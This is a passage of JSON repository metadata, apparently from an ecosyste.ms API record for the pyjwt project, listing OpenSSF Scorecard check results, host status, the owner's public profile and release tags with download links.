GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts